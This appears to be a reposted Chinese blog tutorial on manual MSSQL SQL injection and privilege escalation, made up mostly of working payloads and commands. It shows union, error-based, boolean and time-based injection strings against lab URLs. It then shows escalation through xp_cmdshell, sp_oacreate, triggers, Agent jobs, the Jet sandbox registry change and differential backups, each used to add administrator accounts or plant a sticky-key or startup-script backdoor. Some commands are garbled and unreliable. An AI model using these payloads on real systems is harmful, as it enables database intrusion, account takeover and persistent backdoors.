MSSQL注入手工注入mssql提权

mssql数据库

mssql数据库相比mysql数据库本质上的框架是差不多的,使用的增,删,改,查命令是互相通的,mysql中使用的函数在mssql中有些会起不到作用点。

MSSQL数据库的基本知识

MSSQL中自带数据库信息

库名 相关功能
master 系统控制数据库,包含配置信息,用户登录信息,系统运行状态
model 模板数据库,数据库时建立所有数据库的模板。
tempdb 临时容器,保存所有的临时表,存储过程和其他程序交互的临时文件
msdb 主要为用户使用,记录着计划信息、事件处理信息、数据备份、警告以及异常信息

MSSQL系统视图表 (MSSQL数据库与MYSQL数据库一样,自带数据表sysobjects和syscolumns)

视图表 功能
sysobjects 记录了数据库中所有的表,常用字段为id,name和xtype
syscolumns 记录了数据库中所有表的字段,常用字段为id、name和xtype
sys.databases SQL Server 中所有的数据库
sys.sql_logins SQL Server 中所有的登录名
information_schema.tables 当前用户数据库的表
information_schema.columns 当前用户数据库的列
sys.database_files 存储在数据库中数据库文件

• 查询所有表
• select top 1 id,name from sysobjects where xtype=char(85)
• select top 1 id,name from sysobjects where xtype=‘U’
• 查询某个表所有列
• declare @objid int,@objname char(40)
• set @objname =‘admin’
• select @objid = id from sysobjects where id = object_id(@objname)
• select ‘Column_name’= name from syscolumns where id = @objid order by colid
• 或者
• SELECT * from SysColumns WHERE id=Object_Id(‘cmd’)

判断注入点

+1-1
单引号
非显错注入
在这里插入图片描述

显错注入
在这里插入图片描述

Mssql数据库手工联合注入

  1. 判断是否是Mssql数据库类型

and exists(select * from sysobjects) – 1
and exists(select count(*)from sysobjects) – 1

在这里插入图片描述

  1. 判断显示为

order by 1 (不太好用) 要提前闭合

在这里插入图片描述

union select null,null
 uesr (查询用户)
 db_name() 数据库名
 @@version 版本
在这里插入图片描述

扫描二维码关注公众号,回复: 13827124 查看本文章

非显错注入

http://192.168.31.73:8008/love/job_show.asp?
user dbo 表示是最高权限 如果是用户的名字,表示普通权限

  1. 查询 用户名
id=-10+UNION+ALL+SELECT+'1',user,'3','4',null,null,null,null,null,null,null,ull,null,null,null,null,null,null,null,null,null,null--+  
  1. 查询表名
http://192.168.226.153/labs/MSSQL-SQLi-Labs-master/less-1.asp?id=-1'+UNION+ALL+SELECT+db_name(),null,null --+
http://192.168.31.73:8008/love/job_show.asp?id=-10+UNION+ALL+SELECT+'1',NAME,'3','4',null,null,null,null,null,null,nul,null,null,null,null,null,null,null,null,null,null,null from sysobjects wheretype='U' AND NAME NOT IN('HECI')--+

报错注入

在这里插入图片描述

and user>0 – 判断用户
and db_name()>0-- 判断数据名
and convert(int,db_name())
and object_name(user)>0
and file_name(user)>0
and type_name(user)>0
and col_name(), 1)>0
and schem_name(user)>0

以上都需要一个整型传递一个字符串报错

报错表名

http://192.168.226.153/labs/MSSQL-SQLi-Labs-master/less-1.asp?id=1' and 1=(select top 1 name from sysobjects where xtype='U' and name !='users') -- 1

在这里插入图片描述

bool注入

布尔注入
?id=1 and (ascii(substring(user,1,1)))=100

时间注入

?id= 1;;if ( ascii(substring(user,1,1)) )= 100 waitfor delay ‘0:0:2’;-- 1

mssql数据库

sa mysql 的root


第一步:爆所有数据库名(改变括号数字)
select convert (int, user )
select convert (int, db_name())
select file_name (db_name())
select file_name (user)
select db_name (user)
select col_name (db_name(),1)
select object_name (db_name())
select schema_name (user)
select schema_name (db_name())

http://192.168.1.55/sqlserver/1.aspx?xxser=1 and db_name(3)>0–

TestDB
报错注入
?id=1’and 1=(select top 1 name from sysobjects where xtype=‘U’ and name !=‘users’) – 1

第二步:爆当前库中的有几个表(改变后面数字)
http://192.168.0.102/sqlserver/1.aspx?xxser=1 and (select cast(count(1) as varchar(10))%2bchar(94) from [sysobjects] where xtype=char(85) and status!=2)=2–

?id=-1 union select 1,(select top 1 name from sysobjects where xtype=‘U’),3 – 1

不等于表and name != ‘referers’
?id=-1 union select 1,(select top 1 name from sysobjects where xtype='U’and name != ‘referers’),3 – 1

2个表
第三步:暴表名
http://192.168.1.55/sqlserver/1.aspx?xxser=1 and (select top 1 cast (name as varchar(256)) from(select top 2 id,name from [sysobjects] where xtype=char(85) and status!=1 order by id)t order by id desc)=1–

http://192.168.0.102/sqlserver/1.aspx?xxser=1 and 0<>(select top 1 name from testdb.dbo.sysobjects where xtype=0x7500 and name not in (select top 1 name from testdb.dbo.sysobjects where xtype=0x7500))–

2表名Admin,test_tmp

第四步:爆所有字段名
having 1=1 –

group by 字段名1 having 1=1 –

group by 字段名1,字段名2 having 1=1 –

admin.id,admin.name,admin.passWord

第五步:爆字段值
order by n-1
and 1=2 union select 1,2…,n from table_name

http://192.168.0.102/sqlserver/1.aspx?xxser=1 and (select top 1 isnull(cast([id] as nvarchar(4000)),char(32))%2bchar(94)%2bisnull(cast([name] as nvarchar(4000)),char(32))%2bchar(94)%2bisnull(cast([password] as nvarchar(4000)),char(32)) from [testdb]…[admin] where 1=1 and id not in (select top 0 id from [testdb]…[admin] where 1=1 group by id))>0 and 1=1

mssql提权

提权xp_cmdshell

查看是否存在 xp_cmdshell(返回非 0 即存在)  select count(*) from
master.dbo.sysobjects where xtype='x’and name=‘xp_cmdshell’;

在这里插入图片描述

 # 不存在的话可以添加
 EXEC sp_addextendedproc xp_cmdshell,@dllname =‘xplog70.dll’declare @o int;
sp_addextendedproc’xp_cmdshell’,‘xpsql70.dll’;

 # 查看是否开启了 xp_cmdshell(试试命令是否能成功)  Exec master…xp_cmdshell
‘whoami’;

在这里插入图片描述

 SQL Server2005在默认情况下,一些存储过程是关闭着的,需要命令打开  开启xp_cmdshell:  exec
sp_configure’show advanced options’,1;RECONFIGURE;EXEC
sp_configure’xp_cmdshell’,1;RECONFIGURE;  关闭xp_cmdshell:  exec
sp_configure’show advanced options’, 1;RECONFIGURE;EXEC
sp_configure’xp_cmdshell’,0;RECONFIGURE;
在这里插入图片描述

Exec master…xp_cmdshell ‘net user roge 123456 /add’;
Exec master…xp_cmdshell ‘net localgroup administrators roge /add’;
在这里插入图片描述

xp_regread

在这里插入图片描述
在这里插入图片描述

触发器提权

create trigger [roge1]
on [test_table]
after update as
begin
execute master…xp_cmdshell 'net user jingfuwang 123456 /add ’
end
在这里插入图片描述
update test_table set id =44;
在这里插入图片描述

trigger提权

使用sql server 中的com组件
sp_oacrate

提权方法sp_oacreate

EXEC sp_configure’show advanced options’, 1;
RECONFIGURE; --使前面的配置生效
EXEC sp_configure ‘Ole Automation Procedures’, 1;
RECONFIGURE;
在这里插入图片描述

declare @shell int
--使用sp_oacreate调用wscript.shell组件,将返回的对象存储到@shell变量中。
exec sp_oacreate'wscript.shell',@shell output
--使用sp_oamethod 调用@shell对象中的Run方法,执行添加用户的命令,null是run方法的返回值,我们不需要用返回值,所以写null 
exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user kpkp margin /add'
exec sp_oacreate'wscript.shell',@shell output
--使用sp_oamethod 调用@shell对象中的Run方法,执行添加用户的命令
exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators kpkp /add'

在这里插入图片描述

计划任务提权

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
命令行 方式

USE msdb;
EXEC dbo.sp_add_job @job_name = N’test_powershell_job1’;
EXEC sp_add_jobstep @job_name = N’test_powershell_job1’, @step_name = N’test_powershell_name1’, @subsystem = N’CmdExec’, @command = N’c:\windows\system32\cmd.exe /c whoami /all >c:\123.txt’, @retry_attempts = 1, @retry_interval = 5 ;
EXEC dbo.sp_add_jobserver @job_name = N’test_powershell_job1’;
EXEC dbo.sp_start_job N’test_powershell_job1’;

在这里插入图片描述

mssql 注入?
联合查询 要求union 字段列数相同 字段数据类型一致
报错注入 1() object_id field_name x
基于bool
基于时间的 if() waitfor ‘00:00:0x’;
基于堆叠注入

mssql 提权:
xp_cmdshell 执行命令
sp_oacreate 调用wscript.shell 执行命令
trigger 当特定事件发生时执行命令
sql server agent 代理计划任务提权
差异备份 利用两次备份内容的差异提权

使用关闭沙盒模式进行提权

打开注册表
regedit

exec sp_configure ‘show advanced options’,1;reconfigure
在这里插入图片描述
exec sp_configure’Ad Hoc Distributed Queries’,1;reconfigure;
在这里插入图片描述
在这里插入图片描述
exec master…xp_regwrite’HKEY_LOCAL_MACHINE’,‘SOFTWARE\Microsoft\Jet\4.0\Engines’,‘SandBoxMode’,‘REG_DWORD’,0;
在这里插入图片描述
在这里插入图片描述
select * from openrowset(‘microsoft.jet.oledb.4.0’,’;database=c:/windows/system32/ias/ias.mdb’,‘select shell(“net user bihuo_4_18 123456 /add”)’)
在这里插入图片描述
在这里插入图片描述
exec sp_configure ‘show advanced options’,1;reconfigure
exec sp_configure’Ad Hoc Distributed Queries’,1;reconfigure;
exec master…xp_regwrite’HKEY_LOCAL_MACHINE’,‘SOFTWARE\Microsoft\Jet\4.0\Engines’,‘SandBoxMode’,‘REG_DWORD’,0;
select * from openrowset(‘microsoft.jet.oledb.4.0’,’;database=c:/windows/system32/ias/ias.mdb’,‘select shell(“net user bihuo_4_18 123456 /add”)’)
在这里插入图片描述

粘滞键提权

shift
在这里插入图片描述
连续按下shift键

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

EXEC sp_configure’show advanced options’,1;
RECONFIGURE;
EXEC sp_configure ‘Ole Automation Procedures’, 1;
RECONFIGURE;

declare @00 i nt
exec sp_oacreate’scripting.filesystemobject’, @00 out
execsp_oamethod@00,‘copyfile’,nuII,‘c:\windows\system32\ca14exe’,‘c:\indows\system32
\dIIcache\sethc.exe’

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

利用差异备份写入启动计划任务

在这里插入图片描述

在这里插入图片描述
alter database test set RECOVERY FULL;
create table cmd1 (a image); – image代表二进制数据
backup database test to disk = ‘C:\suibian1’ with init; –
insert into cmd1(a) values (0x406563686F206F66660D0A406364202577696E646972250D0A406E657420757365722061646D696E2061646D696E202F6164640D0A406E6574206C6F63616C67726F75702061646D696E6973747261746F72732061646D696E202F6164640D0A4064656C2073746172742E6261740D0A40657869740D0A400D0A) –
backup database test to disk = ‘C:\Documents and Settings\All Users\「开始」菜单\程序\启动\start.bat’ –
drop table cmd1 –

在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/qq_42096378/article/details/124230245